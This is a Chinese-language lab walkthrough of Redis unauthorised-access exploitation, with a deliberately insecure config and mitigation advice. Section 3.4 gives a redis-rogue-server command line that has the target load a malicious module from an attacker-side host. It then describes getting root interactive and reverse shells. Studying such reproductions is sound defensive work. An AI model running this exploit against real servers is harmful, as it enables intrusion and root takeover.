1 Redis简介
Redis是一个开源的使用ANSI C语言编写、支持网络、科技与内存也可以持久化的日志型、Key-Value数据库,并提供多种语言的API。
Redis在默认情况下,会绑定6379这个端口,如果服务器没有采用限制IP访问或在防火墙做策略,就会将Redis服务暴露在公网上,并且在没有设置密码认证的情况下(既然有密码也可进行爆破),会导致用户未授权访问,可能导致,SSH远程登录,写入webshell,交互式shell,反弹shell等操作。
2 影响版本
Redis 2.x,3.x,4.x,5.x
3 环境搭建和漏洞复现
靶机系统:ubuntu 20.04 LTS ip:192.168.210.209
攻击机:kali linux ip: 192.168.146.128
3.1 安装Redis
使用下面的命令安装redis,我这里使用apt直接安装,安装的版本是5.0.7.
sudo apt install redis
3.2 修改redis.conf文件
我这里就是修改/etc/redis/redis.conf文件,首先关闭redis保护模式,将protected-mode修改为no,
然后修改bind,绑定到0.0.0.0
这里需要注意的是,bind不是绑定外部服务器,二十绑定本机可以接受连接的网卡地址,默认绑定127.0.0.1,只能够本地访问,改动后服务器上任意网卡地址都可以访问。
3.3 启动redis服务
sudo /usr/bin/redis-server /etc/redis/redis.conf
3.4 exp
我们这里使用github上的一个exp,链接地址如下:
https://github.com/n0b0dyCN/redis-rogue-server
用法:
python redis-rogue-server.py --rhost 127.0.0.1 --rport 6379 --lhost 127.0.0.1 --exp exp.so
- rhost:这里是远程redis服务所在的地址
- rport为redis服务端口,
- lhost:本地地址
- exp:而已so文件
这里可以看到,这里的redis确实有漏洞,我们可以获取一个实时的shell或者获取反弹shell。我们在这里先获取一个实时的shell,只需要输入i即可。
我们这杨就获取到了root权限的shell,接下来尝试获取反弹shell。
我们看到在这里输入反弹ip和端口后,就可以反弹shell到我们的攻击机上,同样获取到的是root权限。
4 建议
- 限制登录IP,不要修改bind 为0.0.0.0.
- 添加密码访问。
- 打开redis保护模式。
- 修改默认端口。